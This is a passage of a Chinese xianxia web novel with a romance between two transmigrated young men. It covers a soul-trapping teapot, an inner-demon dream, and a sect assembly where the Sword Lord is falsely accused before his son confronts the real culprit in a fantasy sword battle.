“不是。”沈云戚否认,沉着眸子看着眼前的茶盏,目光一瞬不瞬的。 贺兰忱顺着他的目光看过去,眼前是个十分精致的宝瓶,他问:“这个水壶有什么问题吗?” 说着,贺兰忱便水壶提起来,往外倒了一下,这个水壶沉甸甸的,却到不出一点点水来。 真的有些奇怪。 贺兰忱打开水壶的盖子看了一眼,顿时感觉一股强大的吸力,差一点将他的神魂都吸了出来。 好在他意志坚定,赶紧合上了盖子。 “这茶壶果然有问题,里面好似有摄魂的阵法。”贺兰忱心有余悸的说道。 沈云戚蹙眉,道:“谁会这么做?是专门针对我们的,还是住在这里每个人的客房都这般?” “我们去查探一番?”贺兰忱建议道,适时的进行一些冒险,或许能激发他对生活的热情。 沈云戚眸色一动,转而又恢复了平静的模样,道:“算了,别理会这些无关紧要的事情。” “嗯?”贺兰忱疑惑的凑近他。 等到沈云戚反应过来时,他已经离他很近了,几乎是额头贴着额头,鼻尖对着鼻尖。 沈云戚吓得往后退了一些,却被他按住了后脑勺。 他呼吸一滞,缓缓闭上眼睛。 “没有发烧啊。”贺兰忱若有所思的开口。 两个人的距离已经分开,沈云戚睁开眼,目露几分疑惑,又有几分懊恼。 贺兰忱见他这样,不由问道:“怎么了?” “没有。”他抿直了唇角。 他究竟在胡思乱想些什么。 贺兰忱却笑了,道:“你是不是想我亲你?” “才没有。”沈云戚反驳道。 “你想我亲你的话,你直接告诉我。”贺兰忱来劲了,像是没有骨头似的,下巴扣在他的肩膀上,整个人赖在他身上,全靠他支撑着。 他一眨不眨的看着沈云戚的表情,细细观察着他的反应。 沈云戚板着一张脸,故作镇定的说道:“不想。” “哦,这样啊。”贺兰忱语气中有些失落。 沈云戚偏过头看他,贺兰忱眉眼带着笑,道:“可是我想亲你一下。” “……”沈云戚转过脸,不知如何应答,也不理他。 贺兰忱偏要得到他回答的一般,问:“允不允?” “……”沈云戚依旧不言。 “啊,这么绝情的吗?之前在圣地的时候,你可是抱着我又亲又啃的。”贺兰忱没皮没脸的。 沈云戚深吸一口气,拿出一本书来看了起来。 贺兰忱却直接将书抽走,道:“别看书,看着我的眼睛回答我,让不让我亲?” “你很烦,想做什么偏要得到我的允许吗?”沈云戚蹙眉道。 贺兰忱顿了一下,道:“那当然了,没有你允许……唔……” 他话未说完,沈云戚便捧着他的脸,在他嘴上咬了一口。 他眼睛又黑又沉,蛮不讲理的说道:“你看,我就不需要得到你的允许,想做什么就做什么。” 贺兰忱俨然被他出人意料的行为给镇住了,尚未来得及做出反应。 他便又凑了上来,堵住了他的嘴。 真是被他烦的要死,不想听到他说话的最佳方式。 沈云戚心里无比烦躁,身边又有贺兰忱这个聒噪的家伙,思绪一刻都不得闲,无法静心下来思考关于自己的人生。 想不明白,索性摆烂。 唇舌纠缠的时候,就不会思考那些乱七八糟的事情,这确实是一个十分好的转移注意力的方式。 贺兰忱顺势在房间里布置下了结界,不被外界所窥伺。 两个人从桌前亲到了床上,身上的衣服也不知道什么时候褪去的。 “可以吗?”贺兰忱还是下意识的问道。 沈云戚烦死他无论做什么都要问东问西的,翻身将他压在身下,用行动告诉他可以不可以。 这不是在熟悉对方的身体,也不是双修,就是……亲热。 云消雨歇时,沈云戚躺在他的怀里,合着眼睛。 贺兰忱心里那叫一个美,回味了半响,关心道:“你最近是不是有什么心事?” “哦。”沈云戚声音还有些哑。 “嗯?” “就是……我在想……”沈云戚翻了个身,面对面的看着贺兰忱。 他眉头微微皱着,一双黑亮的眼睛染着疑惑,显然,他遇上了不能自己解决的事情。 贺兰忱耐心的听着,他说:“你知道有什么法子,可以回到我们的世界吗?” “我们的世界?”贺兰忱有些疑惑。 “就是21世纪,我们生活的世界。”沈云戚抬眸看他。 “你不是不愿意回去吗?这里有家人。”贺兰忱又想了一下,“唔,我也会一直陪着你的。” 沈云戚看了他一眼,又垂下眼眸。 “行,你要是想回去,我可以寻找一下办法。”贺兰忱道,“我无条件支持你的所有决定,不过……你要是走了,你爹应该会很伤心吧。” 不会伤心的,他有自己的孩子,他已经找到了他的灵魂。 沈云戚默默在心里说道。 第 93 章 那你看出来,我喜欢你吗…… “21世纪, 那是什么地方呀?” 睡梦中,有人在跟他说话。 沈云戚觉得那声音有些稚嫩,像是孩子一般, 天真懵懂。 “你为什么不理我啊?”小孩继续问道。 沈云戚缓缓睁开眼, 他深处迷雾之中, 远远的有一个巨大的金灿灿的珠子,悬于虚妄之中, 宛如一轮太阳。 可是这个太阳却不知道为什么布满了裂痕,裂痕之下是黑色的触须, 一根一根的将它包裹着,宛如心脏上的暴起的血管。 这是……他的心湖?是他的元神吗? “哥哥,你为什么不理我啊?”小孩的声音从身边传来,小崽子拉住了他的手。 沈云戚这才低下头来,看着粉雕玉琢的小朋友站在自己身边, 奶呼呼的小脸煞是可爱, 一双又黑又大的眼睛像是葡萄一样,身上穿着精致的衣裳。 眼前的小孩一看就是被家里养的很好的孩子。 这是什么人?为什么会出现在自己的元神里? 沈云戚再细看的时候,发现他左右耳垂上长着两个红痣,这竟然是他小时候? “哥哥,你为什么这么看着我?戚宝害怕。”戚宝朝着元神的后方躲去, 怯怯的探出半个脑袋,问道,“你是什么人啊?你为什么会出现在这里?” “我……我就是长大后的你。”沈云戚解释道。 小戚宝疑惑的歪了歪脑袋,问道:“真的吗?原来我已经长这么大了吗?” “嗯,你今年几岁?”沈云戚蹲在他身边,询问道。 小戚宝道:“我今年四岁了。” 沈云戚愣了一下,没有回答, 小戚宝却忽然说道:“你不是我,不然你怎么不知道我几岁了,为什么会认不出我?你是什么妖怪吗?” 沈云戚正要解释什么,小戚宝便又说:“你是坏蛋,我爹爹超厉害的,他会帮我报仇,会杀了你。” 说着,小崽子像是小炮弹一样朝着他冲了过来,直直将他撞倒在地上。 沈云戚顿时感觉五脏六腑都移位了,剧烈的疼痛从脑海中传来。 “你抢走了我爹,你根本不是我。”小戚宝大声喊着。 “我就是你啊,如果我不是你,我是谁?”沈云戚茫然的问道。 “我爹会杀了你,我爹会杀了你!”小戚宝一直叫唤着。 这句话像是魔音一般,击溃了人心底的防线。 无月崖上,沐浴着月光和夜风静坐的男子,宛如一座山石。 他已经在此端坐许久了,心底的那道声音越来越浅,像是要消失了一般。 他嘴角微微上扬,露出稍显释然的表情。 灵气运转一个轮回,他拿起手边的水袋,打开后,饮了一口。 细细品味,眉头皱了起来。 “他没有喝我的水?”伯疏流忽然惊起。 那道远去的声音嘲笑道:“你才发现吗?他一直都在怀疑你,怎么会相信你?” 伯疏流撑着眉心,咬牙切齿道:“怎么会这样?” “哈哈哈,你以为你赢了?其实你输的彻底。”他继续嘲笑。 “……”伯疏流因为气急,血从嘴角溢出,随后又将口中的血咽了下去。 “我就是你,别抗拒了,你无法消灭我的。”他幽幽的蛊惑。 伯疏流擦了擦嘴角,从月色中站起来,乘风而去,化作一道白色的流光,消失在山顶。 风间谷,他在撞到结界的时候才停下,他疑惑的抚着眼前的结界,蹙眉。 贺兰忱在结界被撞到的时候,便醒了过来,他警惕的环顾四周,想要唤醒怀里的人。 等到他看清沈云戚痛苦皱眉,满脸冷汗的样子,也是心中一惊。 “戚宝,你怎么了?醒醒。”贺兰忱赶紧叫他。 “不是,我不是他……”沈云戚呓语着。 贺兰忱像是想到了什么,轻声喊了一声:“颜池,阿池。” “……” 陷入痛苦梦魇的人,骤然睁大眼睛,眼底满是惊恐之色。 贺兰忱赶紧将他搂在怀里,安慰道:“别怕,我在这里,你是不是做噩梦了?” “……嗯。”他点点头,将脸埋在他的脖颈间。 “不是噩梦,是心魔。”一道冷冽的声音,穿破结界,传达到房内。 贺兰忱松开他,转头便看到凭空出现在他们房间里的仙君,问道:“你……你为什么突然出现在我们房间?” 无论他是好心,还是恶意,这么毫无边界感的闯入,都让人不由心生警惕。 何况,眼前的人也不是什么好人。 伯疏流目光偏冷,直直的盯着脸色惨白的沈云戚,道:“你不该出现在这里。” “我……”沈云戚怔愣了片刻,而后坚定的抬起头来,对他道,“我已经知晓了你的阴谋,我会在仙门大会的时候揭穿你的真面目。” 伯疏流脸上染上了一抹淡笑,道:“那你知道的是不是有点晚了?若是现在,我杀了你们,你们当如何揭穿?” “我不怕你。”沈云戚冷冷的看着他。 伯疏流眯了眯眼睛,房内巨大的威压让人无法直视,沈云戚却惨白着一张脸,与他对视,道:“我会将你的所作所为全都公之于众,你想陷害我爹。” “哦?真是巧了,我倒要看看你是如何说服众仙门的。”伯疏流像是来了兴趣一般,嘴角含笑。 说罢便丢出两枚玉石,准确的落入两个人的手上,这就是上清都的令牌。 伯疏流傲慢冷酷的开口道:“我想你们会后悔来此的,那时候你们可以感受一下什么叫与世界为敌的滋味。” 他肆意冷漠的模样,俨然没了平日里的温和儒雅,冷硬的眉宇戾气横生。 这一刻,他终于不再饰演正道魁首了。 贺兰忱问:“你将你做的恶行,全都推到你我们师父的身上,这是为什么?你要毁了他吗?” “有趣。”伯疏流漠然的转身,眼角的余光斜视着沈云戚,“小娃儿,我想你最好已经修炼到可以战胜你爹的地步了,不然,不会有人给你收尸的。” 说罢,伯疏流便离开了。 沈云戚猛地从床上起身,想要追上去,道:“你什么意思?你想要怂恿我爹杀了我吗?” 大风不会给他回答,空旷的山谷也不会给他回答。 贺兰忱赶紧道:“不会的,咱爹最爱你了,怎么可能会杀了你?” 沈云戚紧紧的咬着嘴唇,似乎尝到了血腥味。 “也未必。”他不会对亲生儿子动手,可是外来夺舍的邪魂了? 这一刻,他忽然明白了什么,命运似乎在这一刻得到了圆满。 他从故事的开头便知晓了结局,却一直以为自己可以改变。 贺兰忱心头一惊,赶紧追问道:“你说这个是什么意思?” “没什么。”沈云戚露出释然的笑,拍了拍他的肩膀,“说不定到时候我就可以回到现代了。” 贺兰忱欲言又止,总觉得他心里出现了问题。 可能就是伯疏流说的心魔吧。 心魔是什么时候出现的?之前在圣地的时候,他说自己没有心魔的。 贺兰忱想要询问,却又觉得他不会回答,便找机会将自己的担忧告诉了两位师父。 沈云戚拿到了仙门大比的邀请令牌,当即便准备跟上清都。 此事透着诡异,伯疏流来的时候,显然不是专门来送令牌的,反倒像是劝他们离开的。 后来沈云戚说要揭穿他的真实面目,便恼羞成怒了,要看他们父子自相残杀? 要看沈云戚陷入绝望,可是表现的模样过于冷淡。 他不像是那种喜欢看到别人受到折磨后,会有快意的人。 贺兰忱满脑子都在思索伯疏流这个人,他看过小说的。 书中写过他与沈君钦是最好的师兄弟,沈君钦甚至都是伯疏流养大的。 沈君钦消失后,他也寻找了他几十年。 如果陈秋生真的是伯疏流假扮的,那说明,沈君钦从失忆开始,他的师兄便找到了他,甚至还帮他养孩子。 贺兰忱对陈秋生的记忆不深刻,但是从沈云戚的表现来看,应该与那个隔壁的叔叔关系很好。 难道是情债,得不到就毁掉? 但是小说里并没有说过多关于他的剧情,也没有对他心理的描写。 这个人人机感很重。 如果将这个小说世界当做一个游戏的话,现在他们是不是打成了隐藏剧情? 贺兰忱将自己的推测告诉沈云戚,道:“你觉得,伯疏流是不是喜欢你爹?” “看不出来。”沈云戚摇摇头。 贺兰忱又沉思一会,问道:“那你看得出来我喜欢你吗?” “……”沈云戚看了他一会,问,“那你看得出来我喜欢你吗?” 贺兰忱顿时欣喜道:“真的吗?是从什么时候开始的?” 沈云戚扯了扯嘴角,握紧了手中的天命,没有应声。 天尚未亮时便出发,到了半路,他们便遇到了一群上山的修士。 这些人结伴而行,时不时还议论著什么。 “真的是他干的吗?” “肯定是啊,他每次行凶都以为天衣无缝,却天网恢恢疏而不漏,有活口逃了出来,毕竟灭城那样的事情,怎么可能杀尽?” “他不是正道魁首么?为什么要做这样的事情。” “因为他与魔尊勾结在一起,迷失了道心,不仅斩杀人间百姓,就连十五年前在帝陵中屠杀三千修士的事情,也是他做的。” “他这么厉害,那……我们真的能行吗?” “当然不行啊,那可是修真界最强的剑修,可以直接灭了我们。” “不过那位尊上迷途知返,在秘境中已经跟魔尊决裂了,将他重伤了,只要他带领我们攻入魔界,也算是将功补过吧。” “希望他能坚定的站在正道这边,这样我是可以原谅他的。” 大家都很清晰的知道,他们根本不是剑尊沈君钦的对手,这次仙门大会,对外说是弟子们之间的比试,实则是商讨攻打魔界之事。 剑尊叛变修真界的事情,已经在私下里传开了,大家自知不是他的对手,便想着他能站在自己这一边。 贺兰忱听到这里,赶紧上前搭话道:“师兄们,你们口中说的人是剑尊沈君钦吗?他不是已经消失七十年了么,现在已经回来了吗?” “你们什么门派的,难道宗门没有通知你们吗?”对方警惕的问道。 贺兰忱露出和善的笑,解释道:“我与师弟在外历练,误入秘境好些年,一出关便得到师尊传信来清都仙门大比,并未被告知具体事宜,还请师兄告知一二。” 几人听到他的解释,上下打量了他们一番,眼前两人一冷一热的,仙姿玉骨,修为不可估量,俨然不是他们这些弟子可以比拟的。 “其实事情也没有那么复杂,这几十年人间修真界祸事不断,原本大家也都以为是意外,也是最近两年才隐约发现此事与剑尊脱不了关系。”秦云解释道。 沈云戚冷脸,问道:“这话可别乱说,你有证据吗?” “当然有啊。”秦云嗤笑一声,“你知道我们苍穹派吧,十五年前无相寺灭门惨案,便是我师兄亲自去查的,差一点被那剑尊杀了。” 沈云戚眯了眯眼睛,看着眼前的人。 秦云又说:“还有邺城屠城,也有证人,那便有个财主的儿子幸免于难,后来拜在青云宗的门下,他亲口说的,屠城的人就是剑尊,而且他还差一点被杀了两次。” “第二次是什么时候?”贺兰忱按住想要发作的沈云戚。 秦云侃侃而谈道:“便是一年前,他跟着御剑山庄的一群人,想要去仙山拜访剑尊,几乎全部被灭口,只有他还逃出生天,醒来便看到剑尊和魔尊一道,这些事情都被留影珠记录下来了。” “当真有留影珠为证?”沈云戚依旧持怀疑的态度。 秦云信誓旦旦的说道:“口说无凭,到了清都你就知道了,长老们会展示所有的证物的,当然了,我觉得此事肯定是魔界所为,剑尊不过是被蛊惑的。” 一行人继续赶路,一路上都是天梯,浮在云层中,脚下便是万米深渊。 他们人走远了,沈云戚犹豫片刻,还是拿出通讯符,想找爹问一下具体情况。 他深知此事必定不是他爹做的,但是需要知晓事件的发生经过,否则被质问的时候,他反驳的便不够有力。 沈不忘那边听到这事,沉默了片刻,道:“我当日看到一个跟我很像的人,他杀了那些弟子,等我赶到的时候,御剑山庄的庄主正好看到了我。” “伪造了证据。”贺兰忱道。 “后来,他们以此为由,将我们叫到秘境中,助他们寻宝。”沈不忘继续道。 “爹,那你就答应了吗?”沈云戚着急道,爹真是傻乎乎的,为什么要帮他们? 沈不忘道:“没事,我们也只是想要看他们究竟想做什么。” “可是,你被关在那里出不来了。”沈云戚焦急道。 “这里困不住我的,我很快就会出来。”沈不忘依旧不疾不徐。 沈云戚不说话了,贺兰忱看出了他难受,赶紧解释道:“现在仙门打算图谋进攻魔界,或许他们的目的便是困住你,找机会攻打魔界。” “此事你们不用管,我出去自会处理,你们在安全的地方就可以了。”沈不忘无论做什么,都十分从容。 贺兰忱赶紧又问:“爹,你这是有什么筹谋吗?可以跟我们说一下吗?” 现在就怕各有各的打算,最后阴差阳错,互相拖了后腿。 沈不忘沉默了一下,道:“……没有,一切随缘。” “爹,你放心,我不会让他们得逞的,我会帮你正名。”沈云戚决绝的开口。 他捏碎了通讯符。 沈不忘看着手中的通讯符化为灰烬,心中顿时生出了不好的预感。 原本计划半个月离开此秘境的他,此时心急起来,该如何快速提升修为? 他不能在此逗留,要快速破关才对! 清都上,不分昼夜,天光大盛。 持有令牌的修士穿过灵石修建的地界,便能直接进入清都得大广场,长生殿便坐落在正中央。 空中悬浮着一座一座的岛屿,全凭灵气漂浮在空中。 第一次来仙都的人都被震慑住了。 沈云戚站在浩浩荡荡的修士中,仰望着远处璀璨的光景。 此界修真资源匮乏,仙山之上竟然有如此奢华的景象。 “要是能把这个仙岛拖走,也不知道能凿出多少灵石,这不是发财了吗?”身后忽然传来一声不合时宜的声音。 “这地板也都是灵石造的,不知道我挖走一块,会不会有人知道。”这声音继续感慨道。 贺兰忱往后看了一眼,发现竟然还是个熟人。 查布雨站在人群中,跟身边的女子一直絮絮叨叨的说话,对方却未曾回复一句,只是听着。 他也看到了贺兰忱,顿时眼睛一亮,道:“兄台,我认识你吗?” “巧了不是,我也觉得你很眼熟。”贺兰忱笑道。 沈云戚疑惑的转身,朝着他看去,微微蹙眉。 查布雨却顿时瞪大了眼睛,道:“我去,这个小兄弟,跟我妹妹长得好像啊,你们该不会是双胞胎吧?” “兄弟,你别说笑了,你妹妹的双胞胎兄弟,不也是你的弟弟吗?”贺兰忱笑道。 查布雨觉得有道理,点点头,道:“那你就是我弟弟了,这个是我妹妹……” “戚哥哥!”清冷的白衣女子,此时也发出惊呼,声音如仙乐一般月儿动人,头纱之下的容颜不知道有多倾城绝色,不过只有见过她的人才知晓,其实她是个瞎子。 沈云戚疑惑的看着她,问:“请问,你是?” “戚哥哥,邺城……你还记得吗?”少女激动的说道。 沈云戚皱眉,以为她又是这个身体原主认识的人,声音有些低,开口道:“不好意思,我小时候、因为意外,失去了一段记忆,我、我可能不记得你了。” “这样吗?那沈叔叔了,沈叔叔没有帮你恢复记忆吗?”七姑娘问道。 沈云戚摇摇头,随后又点点头,道:“没事,等到仙门大会之后,我就会记起你了。” “嗯嗯,太好了。”她疯狂的点头。 查布雨看着这对兄妹相认的戏码,撞了一下贺兰忱,道:“我就说是我妹妹的哥哥吧?” 贺兰忱扯了扯嘴角,不太笑得出来。 这哪里是什么妹妹,分明是小青梅! 之前有个二牛哥的竹马,现在又不知道从哪里蹦出来个小青梅。 这个小青梅的出现,并没有让贺兰忱觉得如何,他只是发现了,沈云戚,不,或者颜池心魔的根源了。 他这段时间的不对劲,似乎有迹可循了。 从二牛出现,不,或许更早的时候……在他很小的时候,似乎就表露过自己的想法,只是这些年一直被幸福缠绕着,抛在脑后。 最近可能又被重新提醒了,所以才会这般在乎。 就在此时,天边飞过三十六道金光,每道金光都是一位化神期以上的祖师,修为最高者则是距离飞升临门一脚的大乘期太上长老。 他们出现,巨大的威压扑面而来,压下大广场上的嘈杂声。 大家心里也都隐隐生出了一些希望,就算剑尊不顺从,那他们也与魔界有一战之力。 太上长老是高人,此次事宜由御剑山庄庄主全权主持。 受到“剑尊”无理由灭门的苦主遍布几界,大家逐一上台倾诉。 越说越不对劲,从月照国的护国神龙被杀开始,妖界也派人上台倾诉九尾狐王被杀,全族凋落,狐族后人成了各方猎妖师的囊中之物,而这一切的根源都是因为沈君钦杀了他们的狐王。 还有更早的时候,沈君钦灭杀了一只修行千年为祸人间的瘟疫鬼修,还有还魂宗的老祖,一人屠一城手持万魂幡的堕落修士…… 这些曾经都是沈君钦杀掉的邪魔,很多不是这七十年发生的事情。 岁月变迁,很多后生都不知道这些事情究竟是什么时候发生的。 甚至有些当事人,都无法忆起被这些邪修围困的之时,是如何求沈君钦帮忙除魔卫道的。 沈君钦一辈子都在维护天道的正义,现在这些人却不断的往他身上泼脏水。 修真界上下已经通过气了,他们夸大自己的损失,攻下魔界之后,就能得到更多的好处。 现在谁都不想落于人后,有的尽量夸大,没有的就编造。 于是乎,这场仙门大会,竟然成了剑尊沈君钦的审判大会。 沈云戚从一开始听到他们胡编乱造的时候,还有些生气。 等到后面有人说自己的灵兽被剑尊给偷了,沈云戚都觉得好笑。 这群道貌岸然的人,为了抹黑他爹真的是不留余地了。 他抬头往上看去,只见伯疏流双眸合着,坐在高高在上的位置。 沈云戚上前一步,贺兰忱却忽然拉住他的手,神色凝重道:“我们不该来这里的,我们回家。” “都到这个时候了,为什么回家?”沈云戚不满的说道。 贺兰忱沉思片刻,道:“我们不该听二爹的,他……比较二,说话说不明白,可能这次的事情,并不是我们想的那么简单。” “你不如直接说他是笨蛋好了。”沈云戚笑道。 贺兰忱觉得这个词有些以下犯上了。 在下一个人上台控诉沈君钦的时候,沈云戚甩开贺兰忱,大步上前。 “闭嘴!”沈云戚低吼一声,骤然打断了台上弟子诉说自家被灭门的惨事。 那个人正是宴行,当年家族分明是僵尸屠杀的,此事竟然也被丢到了他爹的头上。 宴行不满的看了一眼沈云戚,问道:“你是什么人?” “宴行,对吗?你不是号称剑尊的弟子吗?为什么现在在这说他屠杀了你全家?”沈云戚声音不大,却能传到所有人耳中。 宴行愣了一下,道:“当然是他杀了我全家,觉得愧疚了,才收我为弟子,不然剑尊会收徒吗?” “简直可笑,你们口中的他罪无可赦,恶贯满盈,现在你又说他对你心生愧疚,他到底是真的恶还是假的恶?亦或,你的所说所言全是编造?”沈云戚道。 沈云戚忽然又指向俞观南,道:“你,俞观南,邺城财主余郎财的儿子,第一次屠城的时候你没死,与御剑山庄那些人去仙山的时候也没死,你为什么这么好运?难道是因为你认识凶手,凶手饶了你一命?” 俞观南被指着,心慌意乱的看向一旁的尊上。 伯疏流依旧深色淡然,置身事外的样子。 宴行急了,怒道:“你擅自干扰我们仙门大会,来人啊,把这个人给我赶出去。” 沈云戚立即举起手中的天命,道:“我叫沈云戚,是剑尊沈君钦的弟子,也是他的儿子,我可以在此为你们回答所有的问题,关于你们说的所有屠杀,我都知道谁才是真凶。” “你们妖界的千年狐王,为祸人间,吃了九百个少女的心脏,掳走了多少女修当炉鼎,当时还是百花宗的宗主求到剑尊,让他除害的,现在竟然说他滥杀无辜,简直倒反天罡。” “你们月照国的妖蛟,在奉天城作乱,吃了多少活人,剑尊不过是为民除害。” …… 他逐一反驳了那些污蔑,大会上所有人的目光都投射到他的身上,像是看白痴一样。 沈云戚顶着大家的目光,不卑不亢。 贺兰忱走出人群,站在他的身边。 沈云戚看了他一眼,问:“你不是要回家吗?” “你在哪里,哪里就是家,站在你这边。”贺兰忱说道,“忽然觉得把事情搞得那么清楚并不重要,在你身边支持你才是最重要的。” 沈云戚眉眼中忽然染上了笑意,这是这些时日他第一次会心的笑出来。 贺兰忱也帮忙补充道:“我是山河王朝的皇子,月宫的扶月宫主是我的娘亲,我可以以月宫圣子的身份向大家保证,我所说的话全是真的。” “就算你们说那些事情都是除魔卫道的,那你有什么证据证明,邺城,无相寺,帝陵之中的人不是他杀的?”有人义愤填膺的斥责道。 俞观南站在人群中,开口道:“我……我亲眼所见,凶手就是……” “我知道屠杀邺城的凶手是谁!因为我看到了。”人群中的白衣少女站出来,她揭开脸上的面纱,那是一张绝美的脸,可是却没有眼睛。 那是跟在蓬莱海阁少主身边的七姑娘,她竟然生的这般可怕的模样,只是这张脸竟然这么眼熟,与沈云戚竟然有几分相似。 不过很快,大家便不会觉得他们相像了。 七姑娘脸上变了几变,最终变成了一团糊糊,像是变成了马赛克一样,所有人都看不清她的容貌。 “俞观南,你曾经为了生的机会,将我送进棺材里等死,后来屠城时,你再一次将我推入洪流之中,我忘记了自己的名字,忘记了自己的长相,可是我记得对你的恨。”七姑娘或者说是余胜南,说完这些话的时候,终于找回了自己的脸,她是一个十分清秀的少女。 俞观南看到她还活着,顿时吓得脸色惨白。 余胜南手指指着他,随后朝他旁边的人指去,道:“就是他,他才是屠城之人,青云宗的掌门尊上伯疏流。” “大言不惭,掌门尊上怎么会做这种事情?”青云宗立即有人前来相护。 “帝陵之中的人也全是他杀的,我们亲眼所见。”沈云戚坚定的开口。 这话一出,就连那群长老们也都不耐烦了,浑身透出化神期的威压,压制着台下无知无畏的少年。 “无知小儿,怎可造次?” 声音宛如天雷灌顶,修为低的弟子们,顿时直不起腰来,全都匍匐在地,呈现跪拜之姿。 沈云戚也觉得颇有压力,却还是咬着牙站在人群中。 “没凭没据的事情,就凭你张口白牙吗?”宴行愤怒的指责他。 沈云戚知晓这些人并不在乎真相如何,为的就是将压力给到他爹,让他爹将功补过,为大家进攻魔界奉献一份力气。 “是非对错,天道自有评判。”沈云戚张口道。 “嗤。”伯疏流听到这话,不由轻笑出声,一直闭目养神的他,此时缓缓睁开眼。 他的眼睛是一只金色,一只琥珀色,看上去诡异极了。 两个人明明相隔很远的距离,可他却觉得,他们的距离近极了。 伯疏流道:“这就是你说的揭露我的办法吗?” “我……”沈云戚顿了一下。 伯疏流道:“张张口,就想证明是我杀了那些人,小娃儿,你还没有准备好,甚至不知道我们想干什么。” 沈云戚此时心中才意识到自己上当了。 伯疏流抬手,长剑出现在他手中,那柄剑竟是与沈君钦不问仙一模一样,当初两柄剑也是双生出世的,师兄弟各一柄,甚至师出同门,剑法也是一样。 伯疏流对着长剑吹了一口气,淡淡一笑,杀意尽显。 第 94 章 沈君钦归来。 所有参加仙门大会的修士都无法忘记这一天。 接替剑尊沈君钦成为正道魁首的伯疏流仙君, 第一次拿出自己的命剑。 他的剑法竟然如此精妙,他的修为竟如此高深。 斩落的人肉从高高的台阶上滚落,那些人甚至还以为他的剑会挥向那两个指控他是凶手的少年。 偏偏错了, 伯疏流第一个杀掉的宴行, 死掉的不止是肉身, 还有神魂。 “掌门尊上,你、你为什么?”俞观南惊愕不已, 转而又想明白了,“尊长, 以后你就没有弟子了。” 伯疏流淡笑着从台上站起来,道:“宴行,确实信口雌黄。” “伯掌门,你这是何意?”苍穹派的老祖低声询问道,之前不是一切都说好了吗? 无论什么事情全都推到沈君钦的身上, 届时逼迫他就范, 一起攻入魔界。 “聒噪。”伯疏流一剑又砍断了苍穹派老祖的脑袋。 分神期的大能,竟然抵不过他一剑。 现在就连那些高高在上的老祖们,也都露出惊恐的神色。 伯疏流怕是疯了吧? 可是却没有一人站出来说他的不是,他当面行凶,可是在绝对的实力面前, 没有人敢出声。 就如他们也只敢在沈君钦不在的时候,开他的审判大会。 伯疏流杀了好几个想上前阻止他的修士,已无人敢近身。 他又将剑尖指向沈云戚,冷声问道:“现在,本尊问你,你还敢与我为敌吗?” 沈云戚到底比那些人平静一些,没有被他突然发疯给吓到, 道:“纵使没有,我也拼尽全力与你一战!” “哈哈哈,好啊。”伯疏流狂笑着。 剑起时,天地都为之变色。 寒光比最浩瀚的雷劫还要可怕,剑气宛若化形的巨兽,张大着血盆大口,朝着两个少年袭去。 或者也不只是朝着沈云戚和贺兰忱,而是朝着仙门大会的所有人。 “伯掌门,你疯了吗?”太上长老也震惊开口。 他不得不是使用术法,撕开虚空之门,让这足以毁掉清都的剑气顿时进入无人的秘境之中。 伯疏流却没有理会他,表情依旧平静无比,看着所有面露恐惧的新生代弟子们。 他们已然说不出话来。 贺兰忱也处于震惊之中,所有杂乱的思绪在此时突然串了起来,他抓住脑海灵光一闪的灵感,张口问道:“你、你这么做,是为了坐实你是这个恶人?” 伯疏流冷静的挑眉,嘴角微微扬起,道:“不自量力,拔剑吧。” 沈云戚蹙眉,下意识的,听从了他的话,拔起了天命。 长者与后辈的对垒,实力相差甚远,可少年的志气与决心却比天高。 不能一对一的跟他打,沈云戚这般想着。 眨眼间两人已经接了十几招,贺兰忱很快也加入了战局。 就算二对一,他们也并不是伯疏流的对手。 伯疏流在揍他们之前已经问过两次了,他们是否能够战胜沈君钦?只有能够超过沈君钦的能力,才能战胜他。 可惜,两个小孩不自量力。 “为什么不听我的了?为什么不喝我给你的水了?”伯疏流严重全是漠然的冷意,“既然如此,那我只能送你归西了。” “一剑断山,二剑断海,三剑断天!” 伯疏流使的是必杀的招数。 这一次没有太上长老会出手相救了。 所有人都以为少年死定了,天边涌起的黑色旋涡朝着伯疏流的剑气撞去。 沈云戚与贺兰忱被丢出了战局,接替他们的是一条黑色的巨龙。 “魔尊,那是魔尊啊!” “高明,伯掌门实在太高明了!竟然真的将魔尊引来了。” “原来他不是疯了,而是筹谋已久,我们不必大举进攻魔界,这魔头便自投罗网。” …… 这些人像是解析伯疏流的动机一般,直接替他的手段做了解释。 就算他当着所有人的面杀了好几个人,其中还有苍穹派的长老。 开始下雨了,落下的时候是冰,砸在人脸上的时候变成了雨。 剑光在云层之中忽明忽暗,龙啸声气吞山河,震荡人心,心性不稳的人,当场便晕了过去。 这是为什么?为什么会这样? 沈云戚觉得很不对劲,就如贺兰忱问的那样。 伯疏流做着一切都是莫名其妙的,动机是什么? 这其中肯定有他没有查到的东西。 “砰——砰砰——”心脏的跳动忽然失去了频率。 手臂上传来灼烧的痛感。 他赶紧拉起衣袖,手腕上的白玉镯忽然出现了裂纹,下一刻,玉环断裂开来。 而九天之上的黑龙也不敌伯疏流,从云层中摔了下来。 渡妄旧伤未愈,自然不是全盛时期的伯疏流的对手,他摔倒在大广场上,摔出了一个巨坑。 贺兰忱赶紧冲上去,将坑里的师父给扶了起来,问:“师父,你还好吗?” “你挨打试试,你能好么?”渡妄骂骂咧咧的,将口中的血咽了回去。 “你们都不是我的对手。”伯疏流轻巧落地,这话说的倒是有几分叹息之意。 他似乎想要有人能够打败他。 欢呼声从会场上响起,所有人都在欢呼他对抗魔尊的胜利。 “阿流,很好很好,现在我们一举拿下魔界,就能得到更多修真资源了。”太上长老面上也带上了喜色。 他已经修仙一千三百年了,卡在大乘期距离飞升只有一步之遥,任凭如何努力都棋差一着。 修为高不代表永生,只有飞升成神,才能逆天改命。 可是神界已经与下界分割开三百年之久了。 只有天柱重新修复,飞升之路才能重新打开。 他们一直朝着无尽海域送资源送人,无数修士骨血凝结的天柱,就快要成型了。 修真界也再无任何资源可取了。 可是魔界还有,只要将魔界的一切成为修士们予取予求之地,那天柱不出三年,便能重新通天。 太上长老面上忍不住欣喜,伯疏流却目光浅淡的看着他。 雨还在下,遍布在手臂上的花纹像是一团火一样,焚烧着他。 沈云戚看着渡妄与贺兰忱走来,赶紧放下衣袖,上去搀扶。 沈云戚站在伯疏流的对面,他睥睨着不知天高地厚的少年,道:“看到了吗?就算我杀光这里所有人,也不会有人觉得我有罪。” “你……为什么要这么做?”沈云戚问。 伯疏流看着他,眼中寂静一片。 “我们离开这吧。”沈云戚声音很低。 贺兰忱正有此意。 正要转身转身离开时,发现他们已经被团团围住了。 渡妄拍了拍贺兰忱的肩膀,道:“不怕,我们魔界也有千军万马。” 遮住半边天的黑云中,透着森森的魔气,那是无数十万魔界众生才能汇聚起来的。 